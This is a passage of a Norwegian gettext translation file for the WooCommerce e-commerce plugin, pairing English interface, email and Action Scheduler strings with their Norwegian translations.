msgstr "Oppdatering av WooCommerce database kreves"
#: includes/admin/views/html-bulk-edit-product.php:331
msgid "Decrease existing stock by:"
msgstr "Reduser eksisterende lager med:"
#: includes/admin/views/html-bulk-edit-product.php:330
msgid "Increase existing stock by:"
msgstr "Øk eksisterende lager med:"
#: includes/admin/views/html-notice-regenerating-lookup-table.php:14
#: includes/admin/views/html-notice-updating.php:16
msgid "View progress →"
msgstr "Se fremdrift →"
#: includes/admin/views/html-notice-regenerating-lookup-table.php:18
msgid "WooCommerce is updating product data in the background"
msgstr "WooCommerce oppdaterer produktdata i bakgrunnen"
#: includes/admin/notes/class-wc-notes-run-db-update.php:216
#: includes/admin/views/html-notice-updating.php:21
msgid "WooCommerce is updating the database in the background. The database update process may take a little while, so please be patient."
msgstr "WooCommerce oppdaterer databasen i bakgrunnen. Oppdateringen av databasen kan ta litt tid, så vær tålmodig."
#: includes/admin/views/html-admin-page-status-report.php:765
msgid "Is your site connected to WooCommerce.com?"
msgstr "Er nettstedet koblet til WooCommerce.com?"
#: includes/admin/views/html-admin-page-status-report.php:668
msgid "Must Use Plugins"
msgstr "Påkrevde utvidelser"
#: includes/admin/views/html-admin-page-status-report.php:642
msgid "Dropin Plugins"
msgstr "Dropin utvidelser"
#: includes/admin/views/html-admin-page-status-report.php:628
msgid "Inactive plugins"
msgstr "Inaktive utvidelser"
#: includes/admin/views/html-admin-page-status-report.php:90
msgid "Site address (URL)"
msgstr "Nettsted-adresse (URL)"
#: includes/admin/views/html-admin-page-status-report.php:85
msgid "WordPress address (URL)"
msgstr "WordPress-adresse (URL)"
#: includes/admin/class-wc-admin.php:299
msgid "five star"
msgstr "femstjerners"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:78
msgid "Start Import"
msgstr "Start Import"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:77
#: src/Internal/Abilities/AbilitiesRestBridge.php:49
msgid "Create Product"
msgstr "Opprett produkt"
#: includes/admin/class-wc-admin-assets.php:771
msgid "Dismiss this suggestion"
msgstr "Avvis dette forslaget"
#: includes/admin/class-wc-admin-assets.php:636
msgid "Enter a coupon code to apply. Discounts are applied to line totals, before taxes."
msgstr "Fyll inn rabattkoden som skal brukes. Rabatter blir brukt på linjetotaler, før avgifter."
#. translators: %s item name.
#: includes/admin/wc-admin-functions.php:453
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1094
#: src/RestApi/Routes/V4/Orders/UpdateUtils.php:252
msgid "Adjusted stock: %s"
msgstr "Justert lager: %s"
#: includes/admin/settings/class-wc-settings-accounts.php:169
msgid "Adds an option to the orders screen for removing personal data in bulk. Note that removing personal data cannot be undone."
msgstr "Legger til et alternativ på ordre-siden for å fjerne personopplysninger med massehandling. Merk at fjerning av personopplysninger ikke kan angres."
#: includes/admin/settings/class-wc-settings-accounts.php:168
msgid "Allow personal data to be removed in bulk from orders"
msgstr "Tillat at personopplysninger fjernes i bulk fra ordrer"
#: includes/admin/settings/class-wc-settings-accounts.php:167
msgid "Personal data removal"
msgstr "Fjerning av personopplysninger"
#: includes/admin/settings/class-wc-settings-accounts.php:157
msgid "Remove access to downloads on request"
msgstr "Fjern tilgang til nedlastinger på forespørsel"
#: includes/admin/settings/class-wc-settings-accounts.php:147
msgid "Remove personal data from orders on request"
msgstr "Fjern personopplysninger fra ordre på forespørsel"
#: includes/admin/settings/class-wc-settings-advanced.php:378
msgid "Display suggestions within WooCommerce"
msgstr "Vis forslag i WooCommerce"
#: includes/admin/settings/class-wc-settings-advanced.php:377
msgid "Show Suggestions"
msgstr "Vis forslag"
#: includes/admin/settings/class-wc-settings-advanced.php:374
msgid "We show contextual suggestions for official extensions that may be helpful to your store."
msgstr "Vi viser kontekstuelle forslag til offisielle utvidelser som kan være nyttige for butikken din."
#: includes/admin/settings/class-wc-settings-advanced.php:371
msgid "Marketplace suggestions"
msgstr "Markedsplassforslag"
#. Translators: %s URL to tracking info screen.
#: includes/admin/settings/class-wc-settings-advanced.php:359
msgid "To opt out, leave this box unticked. Your store remains untracked, and no data will be collected. Read about what usage data is tracked at: %s."
msgstr "For å melde deg ut, la denne boksen være tom. Din butikk forblir usporet, og ingen data vil bli samlet inn. Les om hvilke bruksdata som spores på: %s."
#: includes/admin/settings/class-wc-settings-advanced.php:357
msgid "Allow usage of WooCommerce to be tracked"
msgstr "Tillat brukssporing av WooCommerce"
#: includes/admin/settings/class-wc-settings-advanced.php:356
msgid "Enable tracking"
msgstr "Slå på brukssporing"
#: includes/admin/settings/class-wc-settings-advanced.php:350
msgid "Usage Tracking"
msgstr "Brukssporing"
#: includes/admin/settings/class-wc-settings-advanced.php:345
msgid "WooCommerce.com Usage Tracking Documentation"
msgstr "WooCommerce.com dokumentasjon for brukssporing"
#: includes/admin/settings/class-wc-settings-advanced.php:53
msgid "WooCommerce.com"
msgstr "WooCommerce.com"
#: includes/admin/marketplace-suggestions/class-wc-marketplace-suggestions.php:51
msgctxt "Marketplace suggestions"
msgid "Get more options"
msgstr "Få flere alternativer"
#: includes/admin/class-wc-admin-assets.php:773
#: includes/admin/marketplace-suggestions/templates/html-product-data-extensions.php:27
msgid "Manage suggestions"
msgstr "Administrer forslag"
#: includes/admin/marketplace-suggestions/templates/html-product-data-extensions.php:26
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/admin/chunks/marketplace.js:1
msgid "Browse the Marketplace"
msgstr "Bla gjennom markedsplassen"
#: includes/admin/marketplace-suggestions/templates/html-product-data-extensions.php:24
msgid "Extensions can add new functionality to your product pages that make your store stand out"
msgstr "Utvidelser kan legge til ny funksjonalitet på produktsidene dine som gjør at butikken din skiller seg ut"
#: includes/admin/marketplace-suggestions/templates/html-product-data-extensions.php:23
msgid "Enhance your products"
msgstr "Forbedre produktene dine"
#: includes/admin/class-wc-admin-setup-wizard.php:1946
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:153
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:161
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "Facebook for WooCommerce"
msgstr "Facebook for WooCommerce"
#: includes/admin/class-wc-admin-setup-wizard.php:1945
msgid "Facebook icon"
msgstr "Facebook ikon"
#: includes/admin/class-wc-admin-setup-wizard.php:1943
msgid "Enjoy all Facebook products combined in one extension: pixel tracking, catalog sync, messenger chat, shop functionality and Instagram shopping (coming soon)!"
msgstr "Alle Facebook-produkter samlet i én utvidelse: pikselsporing, katalogsynkronisering, Messenger-samtale, butikkfunksjonalitet og Instagram Shopping (kommer snart)."
#: includes/admin/class-wc-admin-setup-wizard.php:1942
#: assets/client/admin/chunks/multichannel-marketing.js:1
#: assets/client/admin/wp-admin-scripts/marketing-coupons.js:2
msgid "Facebook"
msgstr "Facebook"
#: includes/admin/meta-boxes/views/html-order-items.php:369
msgid "Refund the line items above. This will show the total amount to be refunded"
msgstr "Refunder produktlinjene over. Dette vil vise totalbeløpet som skal refunderes"
#: includes/admin/meta-boxes/views/html-order-item.php:154
#: includes/admin/meta-boxes/views/html-order-item.php:197
msgid "Before discount"
msgstr "Før rabatt"
#. translators: %s: discount amount
#: includes/admin/meta-boxes/views/html-order-item.php:141
msgid "%s discount"
msgstr "%s rabatt"
#: includes/admin/class-wc-admin-dashboard.php:49
msgid "WooCommerce Status"
msgstr "WooCommerce status"
#: includes/wc-order-functions.php:924
msgid "Order status set to refunded. To return funds to the customer you will need to issue a refund through your payment gateway."
msgstr "Ordrestatus er satt til refundert. For å refundere kunden må du utstede en refusjon gjennom betalingsløsningen."
#: includes/wc-core-functions.php:615
msgid "Sol"
msgstr "Sol"
#: includes/wc-core-functions.php:336
msgid "action_args should not be overwritten when calling wc_get_template."
msgstr "action_args bør ikke overskrives når du kaller wc_get_template."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:530
msgid "Lookup tables are regenerating"
msgstr "Oppslagstabeller regenereres"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:152
msgid "This tool will regenerate product lookup table data. This process may take a while."
msgstr "Dette verktøyet vil regenerere produktoppslagstabelldata. Denne prosessen kan ta en stund."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:150
msgid "Product lookup tables"
msgstr "Produktoppslagstabeller"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:931
msgid "cURL installed but unable to retrieve version."
msgstr "cURL er installert, men kunne ikke hente versjon."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:465
msgid "Dropins & MU plugins."
msgstr "Dropins & MU utvidelser."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:422
msgid "Inactive plugins."
msgstr "Inaktive utvidelser."
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:452
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:115
msgid "Limit result set to orders which have specific statuses."
msgstr "Avgrens resultat til ordrer med bestemte statuser."
#: src/StoreApi/Schemas/V1/ProductAttributeSchema.php:66
msgid "Number of terms in the attribute taxonomy."
msgstr "Antall termer i attributt-taksonomien."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1176
msgid "Attribute slug."
msgstr "Attributt Slug."
#: src/StoreApi/Routes/V1/Products.php:446
msgid "Determines if hidden or visible catalog products are shown."
msgstr "Bestemmer om skjulte eller synlige katalogprodukter vises."
#: src/StoreApi/Routes/V1/Products.php:427
msgid "Operator to compare product attribute terms."
msgstr "Operatør for å sammenlikne produktattributt-termer."
#: src/StoreApi/Routes/V1/Products.php:300
msgid "Operator to compare product category terms."
msgstr "Operatør for å sammenligne produktkategori-termer."
#: i18n/countries.php:260
msgid "Virgin Islands (US)"
msgstr "Virgin Islands (US)"
#: i18n/countries.php:259
msgid "Virgin Islands (British)"
msgstr "Virgin Islands (British)"
#: i18n/countries.php:147
msgid "North Macedonia"
msgstr "North Macedonia"
#: i18n/states.php:2104
msgid "Wake Island"
msgstr "Wake Island"
#: i18n/states.php:2103
msgid "Palmyra Atoll"
msgstr "Palmyra Atoll"
#: i18n/states.php:2102
msgid "Navassa Island"
msgstr "Navassa Island"
#: i18n/states.php:2100
msgid "Kingman Reef"
msgstr "Kingman Reef"
#: i18n/states.php:2099
msgid "Johnston Atoll"
msgstr "Johnston Atoll"
#: i18n/states.php:2098
msgid "Jarvis Island"
msgstr "Jarvis Island"
#: i18n/states.php:2097
msgid "Howland Island"
msgstr "Howland Island"
#: i18n/states.php:2096
msgid "Baker Island"
msgstr "Baker Island"
#. translators: %s opening and closing link tags respectively
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:116
#: templates/single-product-reviews.php:122
msgid "You must be %1$slogged in%2$s to post a review."
msgstr "Du må være %1$slogget inn%2$s for å legge inn en omtale."
#. translators: %1$s: Order number. %2$s: Customer full name
#: templates/emails/admin-cancelled-order.php:34
#: templates/emails/plain/admin-cancelled-order.php:29
msgid "Notification to let you know — order #%1$s belonging to %2$s has been cancelled:"
msgstr "Ordre nr. %1$s tilhørende %2$s har blitt kansellert:"
#: templates/emails/block/customer-completed-order.php:38
#: templates/emails/customer-completed-order.php:42
#: templates/emails/plain/customer-completed-order.php:30
msgid "We have finished processing your order."
msgstr "Ordren er nå ferdigbehandlet og klargjort for levering."
#: templates/loop/orderby.php:35
msgid "Shop order"
msgstr "Produktsortering"
#: templates/cart/cart-shipping.php:54
msgid "Shipping options will be updated during checkout."
msgstr "Fraktalternativer vil bli oppdatert i kassen."
#. Translators: $s shipping destination.
#: templates/cart/cart-shipping.php:51
msgid "Shipping to %s."
msgstr "Levering til %s."
#. translators: %s: error message
#: includes/wc-rest-functions.php:121
msgid "Invalid image: %s"
msgstr "Ugyldig bilde: %s"
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:426
msgid "Webhook status must be valid."
msgstr "Webhook status må være gyldig."
#. translators: %s: Order number
#: templates/emails/customer-processing-order.php:47
#: templates/emails/plain/customer-processing-order.php:35
msgid "Just to let you know — we've received your order #%s, and it is now being processed:"
msgstr "Din ordre er mottatt, og under behandling:"
#: includes/admin/settings/class-wc-settings-accounts.php:45
msgid "account erasure request"
msgstr "forespørsel om sletting av konto"
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:557
msgid "Default product category cannot be deleted."
msgstr "Standard produktkategori kan ikke slettes."
#: includes/import/abstract-wc-product-importer.php:472
msgid "Variation cannot be imported: Parent product cannot be a product variation"
msgstr "Variant kan ikke importeres: Foreldreprodukt kan ikke være en produktvariant"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:585
msgid "Database upgrade routine has been scheduled to run in the background."
msgstr "Database oppgraderingsrutine har blitt planlagt å kjøre i bakgrunnen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:225
msgid "This tool will update your WooCommerce database to the latest version. Please ensure you make sufficient backups before proceeding."
msgstr "Dette verktøyet vil oppdatere WooCommerce-databasen til nyeste versjon. Sørg for å ta tilstrekkelige sikkerhetskopier før du fortsetter."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:220
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:221
msgid "Update database"
msgstr "Oppdater database"
#: includes/emails/class-wc-email-customer-invoice.php:76
msgid "Details for order #{order_number}"
msgstr "Detaljer for ordrenr. {order_number}"
#: includes/class-wc-ajax.php:2343
msgid "You do not have permission to assign API Keys to the selected user."
msgstr "Du har ikke tillatelse til å tilordne API-nøkler til den valgte brukeren."
#: includes/admin/helper/views/html-oauth-start.php:33
msgid "Feel free to reconnect again using the button below."
msgstr "Du er velkommen til å koble til igjen ved hjelp av knappen nedenfor."
#: includes/admin/helper/views/html-oauth-start.php:33
msgid "Sorry to see you go."
msgstr "Vi er lei oss for å se deg gå."
#: includes/admin/class-wc-admin-setup-wizard.php:2028
msgid "discounted shipping labels"
msgstr "fraktetiketter med rabatt"
#: includes/admin/class-wc-admin-setup-wizard.php:2024
msgid "automated taxes and discounted shipping labels"
msgstr "automatiske avgifter og fraktetiketter med rabatt"
#: includes/admin/class-wc-admin-setup-wizard.php:2020
msgid "payment setup and discounted shipping labels"
msgstr "betalingsinstillinger og fraktetiketter med rabatt"
#: includes/admin/class-wc-admin-customize.php:39
msgid "WooCommerce Endpoints"
msgstr "WooCommerce sluttpunkter"
#: includes/admin/class-wc-admin-api-keys.php:242
msgid "You do not have permission to revoke API Keys"
msgstr "Du har ikke tillatelse til å tilbakekalle API-nøkler"
#: includes/admin/class-wc-admin-api-keys.php:207
msgid "You do not have permission to revoke this API Key"
msgstr "Du har ikke tillatelse til å tilbakekalle denne API-nøkkelen"
#: includes/admin/class-wc-admin-api-keys.php:63
msgid "You do not have permission to edit this API Key"
msgstr "Du har ikke tillatelse til å redigere denne API-nøkkelen"
#. translators: %1$s: Order ID. %2$s: Order date
#: templates/emails/plain/email-order-details.php:36
msgid "[Order #%1$s] (%2$s)"
msgstr "Ordrenr. %1$s (%2$s)"
#: templates/emails/customer-reset-password.php:44
#: templates/emails/plain/customer-reset-password.php:41
msgid "If you didn't make this request, just ignore this email. If you'd like to proceed:"
msgstr "Hvis ikke du kom med denne forespørselen, kan du ignorere denne e-posten:"
#. translators: %s: Store name
#: templates/emails/block/customer-reset-password.php:40
#: templates/emails/customer-reset-password.php:34
#: templates/emails/plain/customer-reset-password.php:31
msgid "Someone has requested a new password for the following account on %s:"
msgstr "Noen har forespurt et nytt passord for følgende konto hos %s:"
#. translators: %s: Store admin email
#: includes/emails/class-wc-email-customer-cancelled-order.php:169
#: includes/emails/class-wc-email-customer-refunded-order.php:284
#: templates/emails/block/customer-cancelled-order.php:48
msgid "We hope to see you again soon."
msgstr "Vi håper å se deg igjen snart."
#. translators: %s: Site title
#: templates/emails/customer-refunded-order.php:59
#: templates/emails/plain/customer-refunded-order.php:44
msgid "Your order on %s has been refunded. There are more details below for your reference:"
msgstr "Ordren din hos %s er refundert. Flere detaljer er vist nedenfor som referanse:"
#. translators: %s: Site title
#: templates/emails/customer-refunded-order.php:56
#: templates/emails/plain/customer-refunded-order.php:41
msgid "Your order on %s has been partially refunded. There are more details below for your reference:"
msgstr "Ordren din hos %s er delvis refundert. Flere detaljer er vist nedenfor som referanse:"
#: includes/admin/notes/class-wc-notes-run-db-update.php:250
msgid "Thanks!"
msgstr "Takk!"
#: includes/emails/class-wc-email-customer-on-hold-order.php:149
msgid "We look forward to fulfilling your order soon."
msgstr "Vi ser frem til å levere ordren din snart."
#: templates/emails/block/customer-note.php:50
#: templates/emails/customer-note.php:51
#: templates/emails/plain/customer-note.php:34
msgid "As a reminder, here are your order details:"
msgstr "Som en påminnelse, her er dine ordredetaljer:"
#: templates/emails/block/customer-note.php:38
#: templates/emails/customer-note.php:42
#: templates/emails/plain/customer-note.php:26
msgid "The following note has been added to your order:"
msgstr "Følgende notat er lagt til i ordren din:"
#: includes/emails/class-wc-email-customer-new-account.php:195
#: templates/emails/block/customer-new-account.php:79
msgid "We look forward to seeing you soon."
msgstr "Vi gleder oss til å se deg snart."
#. translators: %1$s: Site title, %2$s: Username, %3$s: My account link
#: templates/emails/customer-new-account.php:51
#: templates/emails/plain/customer-new-account.php:41
msgid "Thanks for creating an account on %1$s. Your username is %2$s. You can access your account area to view orders, change your password, and more at: %3$s"
msgstr "Takk for at du opprettet en konto hos %1$s. Brukernavnet ditt er %2$s. Du kan gå inn på kontoen din for å vise ordre, endre passordet ditt, og mer på: %3$s"
#. translators: %s Order date
#. translators: %s: Order date
#: templates/emails/block/general-block-email.php:60
#: templates/emails/customer-invoice.php:84
#: templates/emails/plain/customer-invoice.php:53
msgid "Here are the details of your order placed on %s:"
msgstr "Her er detaljene for din ordre fra %s:"
#. translators: %1$s Site title, %2$s Order pay link
#. translators: %1$s: Site title, %2$s: Order pay link
#: templates/emails/block/general-block-email.php:44
#: templates/emails/customer-invoice.php:66
#: templates/emails/plain/customer-invoice.php:45
msgid "An order has been created for you on %1$s. Your order details are below, with a link to make payment when you’re ready: %2$s"
msgstr "En ordre er opprettet for deg hos %1$s. Ordreinformasjon finner du nedenfor, med en lenke for å betale når du er klar: %2$s"
#: includes/emails/class-wc-email-customer-completed-order.php:151
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:70
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifiedEmail.php:72
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:73
msgid "Thanks for shopping with us."
msgstr "Takk for at du handlet hos oss."
#. translators: %s: Customer first name
#. translators: %s: Customer username
#: templates/emails/block/customer-cancelled-order.php:30
#: templates/emails/block/customer-completed-order.php:33
#: templates/emails/block/customer-failed-order.php:33
#: templates/emails/block/customer-invoice.php:36
#: templates/emails/block/customer-new-account.php:36
#: templates/emails/block/customer-note.php:33
#: templates/emails/block/customer-on-hold-order.php:33
#: templates/emails/block/customer-processing-order.php:33
#: templates/emails/block/customer-refunded-order.php:36
#: templates/emails/block/customer-reset-password.php:33
#: templates/emails/block/default-block-content.php:31
#: templates/emails/customer-completed-order.php:36
#: templates/emails/customer-failed-order.php:39
#: templates/emails/customer-invoice.php:39
#: templates/emails/customer-new-account.php:35
#: templates/emails/customer-note.php:36
#: templates/emails/customer-on-hold-order.php:34
#: templates/emails/customer-pos-completed-order.php:39
#: templates/emails/customer-pos-refunded-order.php:37
#: templates/emails/customer-processing-order.php:36
#: templates/emails/customer-refunded-order.php:34
#: templates/emails/customer-reset-password.php:32
#: templates/emails/plain/customer-completed-order.php:29
#: templates/emails/plain/customer-failed-order.php:25
#: templates/emails/plain/customer-invoice.php:29
#: templates/emails/plain/customer-new-account.php:29
#: templates/emails/plain/customer-note.php:25
#: templates/emails/plain/customer-on-hold-order.php:29
#: templates/emails/plain/customer-pos-completed-order.php:31
#: templates/emails/plain/customer-pos-refunded-order.php:31
#: templates/emails/plain/customer-processing-order.php:29
#: templates/emails/plain/customer-refunded-order.php:29
#: templates/emails/plain/customer-reset-password.php:29
msgid "Hi %s,"
msgstr "Hei %s,"
#. translators: %s: Customer billing full name
#: templates/emails/admin-new-order.php:32
#: templates/emails/plain/admin-new-order.php:29
msgid "You’ve received the following order from %s:"
msgstr "Du har mottatt følgende ordre fra %s:"
#: includes/emails/class-wc-email-failed-order.php:171
msgid "Hopefully they’ll be back. Read more about <a href=\"https://woocommerce.com/document/managing-orders/\">troubleshooting failed payments</a>."
msgstr "Forhåpentligvis kommer de tilbake. Les mer om <a href=\"https://woocommerce.com/document/managing-orders/\">feilsøking av mislykkede betalinger</a>."
#: includes/emails/class-wc-email-cancelled-order.php:170
#: includes/emails/class-wc-email-customer-note.php:169
#: includes/emails/class-wc-email-customer-reset-password.php:198
#: templates/emails/block/admin-cancelled-order.php:46
#: templates/emails/block/customer-reset-password.php:62
msgid "Thanks for reading."
msgstr "Takk for din oppmerksomhet."
#: templates/cart/cart-shipping.php:85
msgid "Enter a different address"
msgstr "Fyll inn en annen adresse"
#. Translators: $s shipping destination.
#: templates/cart/cart-shipping.php:81
msgid "No shipping options were found for %s."
msgstr "Ingen fraktalternativer ble funnet for %s."
#: templates/cart/cart-shipping.php:64
msgid "Enter your address to view shipping options."
msgstr "Fyll inn adressen din for å vise fraktalternativer."
#: templates/cart/cart-shipping.php:52
msgid "Change address"
msgstr "Endre adresse"
#: includes/wc-template-functions.php:1640
msgid "Sort by latest"
msgstr "Sorter etter nyeste"
#: includes/wc-stock-functions.php:401
msgid "Stock levels increased:"
msgstr "Lagerantall økt:"
#. translators: %s item name.
#: includes/wc-stock-functions.php:379
msgid "Unable to restore stock for item %s."
msgstr "Kan ikke gjenopprette lagerstatus for produkt %s."
#: includes/wc-stock-functions.php:295
msgid "Stock levels reduced:"
msgstr "Lagerantall redusert:"
#. translators: %s item name.
#: includes/wc-stock-functions.php:204
msgid "Unable to reduce stock for item %s."
msgstr "Kan ikke redusere lagerantall for produkt %s."
#. translators: %s: Default class name
#: includes/queue/class-wc-queue.php:76
msgid "The class attached to the \"woocommerce_queue_class\" does not implement the WC_Queue_Interface interface. The default %s class will be used instead."
msgstr "Klassen som er knyttet til \"woocommerce_queue_class\" implementerer ikke WC_Queue_Interface-grensesnittet. Standardklassen %s vil bli brukt i stedet."
#: includes/queue/class-wc-queue.php:60
msgid "This function should not be called before plugins_loaded."
msgstr "Denne funksjonen bør ikke kalles før 'plugins_loaded'."
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_TaxonomyRegistrar.php:22
msgid "Action Group"
msgstr "Handlingsgruppe"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:46
msgid "No actions found in trash"
msgstr "Ingen handlinger funnet i papirkurven"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:45
msgid "No actions found"
msgstr "Ingen handlinger funnet"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:44
msgid "Search Scheduled Actions"
msgstr "Søk planlagte handlinger"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:42
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:43
msgid "View Action"
msgstr "Se handling"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:41
msgid "New Scheduled Action"
msgstr "Ny planlagt handling"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:40
msgid "Edit Scheduled Action"
msgstr "Rediger planlagt handling"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:38
msgid "Add New Scheduled Action"
msgstr "Legg til ny planlagt handling"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:36
msgctxt "Admin menu name"
msgid "Scheduled Actions"
msgstr "Planlagte handlinger"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:35
msgid "Scheduled Action"
msgstr "Planlagt handling"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:24
msgid "Scheduled actions are hooks triggered on a certain date and time."
msgstr "Planlagte handlinger er knagger utløst på bestemt dato og klokkeslett."
#. translators: %s: count
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostStatusRegistrar.php:58
msgid "In-Progress <span class=\"count\">(%s)</span>"
msgid_plural "In-Progress <span class=\"count\">(%s)</span>"
msgstr[0] "Pågående <span class=\"count\">(%s)</span>"
msgstr[1] "Pågående <span class=\"count\">(%s)</span>"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostStatusRegistrar.php:56
msgctxt "post"
msgid "In-Progress"
msgstr "Pågående"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostStatusRegistrar.php:41
msgctxt "post"
msgid "Failed"
msgstr "Mislyktes"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1335
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:921
msgid "Invalid action ID. No status found."
msgstr "Ugyldig handlings-ID. Ingen status funnet."
#. translators: %s: action ID
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:895
msgid "Unable to mark failure on action %s. Database error."
msgstr "Kan ikke markere feil på handling %s. Databasefeil."
#. translators: %s: action ID
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:869
msgid "Unable to unlock claim on action %s. Database error."
msgstr "Kan ikke låse opp krav om handling %s. Databasefeil."
#. translators: %s: claim ID
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:841
msgid "Unable to unlock claim %s. Database error."
msgstr "Kan ikke låse opp krav %s. Databasefeil."
#. translators: %s: group name(s)
#. translators: %s is the group name
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:975
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:717
msgid "The group \"%s\" does not exist."
msgid_plural "The groups \"%s\" do not exist."
msgstr[0] "Gruppen \"%s\" eksisterer ikke."
msgstr[1] "Gruppene \"%s\" eksisterer ikke."
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:696
msgid "Unable to claim actions. Database error."
msgstr "Kan ikke kreve handlinger. Databasefeil."
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:101
msgid "Unable to save action."
msgstr "Kan ikke lagre handling."
#. translators: %s: error message
#. translators: %s: action error message
#. translators: %s is an error message.
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:138
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:49
#: packages/action-scheduler/classes/migration/ActionScheduler_DBStoreMigrator.php:49
msgid "Error saving action: %s"
msgstr "Feil ved lagring av handling: %s"
#. translators: %d refers to the total number of tasks completed
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_Scheduler_command.php:197
msgid "%d scheduled task completed."
msgid_plural "%d scheduled tasks completed."
msgstr[0] "%d planlagt handling fullført."
msgstr[1] "%d planlagte handlinger fullført."
#. translators: %s refers to the exception error message
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_Scheduler_command.php:182
msgid "There was an error running the action scheduler: %s"
msgstr "Det oppsto en feil mens handlingsplanleggeren kjørte: %s"
#. translators: %d refers to the total number of batches executed
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_Scheduler_command.php:165
msgid "%d batch executed."
msgid_plural "%d batches executed."
msgstr[0] "%d parti kjørt."
msgstr[1] "%d partie kjørt."
#. translators: %d refers to how many scheduled tasks were found to run
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_Scheduler_command.php:150
msgid "Found %d scheduled task"
msgid_plural "Found %d scheduled tasks"
msgstr[0] "Fant %d planlagt handling"
msgstr[1] "Fant %d planlagte handlinger"
#: packages/action-scheduler/classes/ActionScheduler_DataController.php:149
msgid "Attempting to reduce used memory..."
msgstr "Forsøker å redusere minnebruk..."
#. translators: 1: action ID 2: exception message
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:168
msgid "Error processing action %1$s: %2$s"
msgstr "Feil ved gjennomføring av handling %1$s: %2$s"
#. translators: %s refers to the action ID
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:140
msgid "Started processing action %s"
msgstr "Startet gjennomføring av handling %s"
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:117
msgid "The claim has been lost. Aborting current batch."
msgstr "Kravet har gått tapt. Avbryter nåværende batch."
#. translators: %d: amount of actions
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:99
msgid "Running %d action"
msgid_plural "Running %d actions"
msgstr[0] "Kjører %d handling"
msgstr[1] "Kjører %d handlinger"
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:71
msgid "There are too many concurrent batches."
msgstr "Det er for mange samtidige batcher."
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_QueueRunner.php:69
msgid "There are too many concurrent batches, but the run is forced to continue."
msgstr "Det er for mange samtidige batcher, men prosessen er tvunget til å fortsette."
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Store.php:459
msgid "Canceled"
msgstr "Kansellert"
